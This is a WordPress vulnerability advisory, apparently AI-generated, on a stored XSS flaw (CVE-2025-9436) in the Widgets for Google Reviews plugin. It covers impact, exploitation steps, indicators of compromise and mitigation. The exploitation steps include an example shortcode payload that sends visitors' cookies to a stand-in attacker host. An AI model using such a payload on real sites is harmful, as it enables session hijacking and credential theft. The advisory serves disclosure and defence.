CVE-2025-9436
WordPress vulnerability analysis and mitigation

Overview

CVE-2025-9436 is a Stored Cross-Site Scripting (XSS) vulnerability in the Widgets for Google Reviews WordPress plugin (by Trustindex), affecting all versions up to and including 13.2.1. The flaw exists in the plugin's trustindex shortcode due to insufficient input sanitization and output escaping on user-supplied attributes. It was published on December 11, 2025, and assigned by Wordfence. The vulnerability carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

Technical details

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The vulnerability resides in the trustindex shortcode handler within trustindex-plugin.class.php (around line 803), where user-supplied shortcode attributes are neither properly sanitized on input nor escaped on output before being rendered in the page HTML. An authenticated attacker with at minimum contributor-level WordPress access can craft a malicious shortcode with embedded JavaScript, which is then stored in the database and executed in the browser of any user who visits the affected page (Wordfence, WordPress Trac).

Impact

Successful exploitation allows an authenticated contributor (or higher-privileged user) to persistently inject arbitrary JavaScript into WordPress pages, which executes in the browsers of all subsequent visitors — including administrators. This can lead to session cookie theft, credential harvesting, unauthorized administrative actions (such as privilege escalation or backdoor installation), defacement, or redirection of users to malicious sites. Confidentiality and integrity are both impacted at a low-to-moderate level, while availability is not directly affected (Wordfence, Red Hat CVE).

Exploitability

No public proof-of-concept exploit code or active in-the-wild exploitation has been reported as of the available data. The EPSS score is approximately 0.029%, indicating a low probability of near-term exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at the contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence, Red Hat CVE).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the Widgets for Google Reviews plugin (versions ≤ 13.2.1) by inspecting page source for plugin-specific assets or using tools like WPScan.
  2. Obtain contributor access: Register or compromise a WordPress account with at least contributor-level privileges on the target site.
  3. Craft malicious shortcode: Create or edit a post/page and insert a trustindex shortcode with a malicious attribute containing a JavaScript payload, e.g., [trustindex attribute="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
  4. Publish or save the content: Submit the post/page for review or publish it directly. The malicious payload is stored in the WordPress database.
  5. Trigger execution: When any user (including administrators) visits the page containing the injected shortcode, the browser renders and executes the embedded JavaScript, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Trac).

Indicators of compromise

  • Database: WordPress wp_posts table entries containing [trustindex shortcodes with unexpected HTML tags (e.g., <script>, <img onerror=, javascript:) in shortcode attributes.
  • Logs: Web server access logs showing POST requests to wp-admin/post.php or REST API endpoints from contributor-level accounts inserting shortcode content with encoded script tags.
  • Network: Outbound requests from site visitors' browsers to unknown external domains shortly after loading pages containing the trustindex shortcode (indicative of data exfiltration).
  • File System: No direct file system artifacts expected for stored XSS, but monitor for new or modified PHP files in the plugin directory (/wp-content/plugins/wp-reviews-plugin-for-google/) that may indicate follow-on compromise.

Mitigation and workarounds

Site administrators should update the Widgets for Google Reviews plugin to a version beyond 13.2.1 as soon as a patched release is available from the plugin vendor (Trustindex). If an update is not yet available, consider deactivating or removing the plugin until a fix is released. As an additional control, restrict contributor-level user registrations and audit existing contributor accounts for suspicious activity. Implementing a Web Application Firewall (WAF) with XSS filtering rules (e.g., Wordfence, Cloudflare) can provide partial mitigation (Wordfence, Wordfence Weekly Report).

Community reactions

Wordfence included CVE-2025-9436 in its weekly WordPress vulnerability report for December 8–14, 2025, and Sucuri referenced it in its December 2025 vulnerability patch roundup, indicating routine coverage within the WordPress security community (Wordfence Weekly Report, Sucuri Blog). No notable individual researcher commentary or significant social media discussion beyond automated CVE tracking accounts has been observed.

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-92541HIGH7.2
  • import-users-from-csv-with-meta
NoYesSep 20, 2026
CVE-2026-92540HIGH7.2
  • import-users-from-csv-with-meta
NoYesSep 20, 2026
CVE-2026-86785MEDIUM5.3
  • woo-to-facebook-shop
NoNoSep 20, 2026
CVE-2026-92965LOW3.7
  • tiktok-for-business
NoYesSep 20, 2026
CVE-2026-92423LOW2.7
  • meow-gallery
NoYesSep 20, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management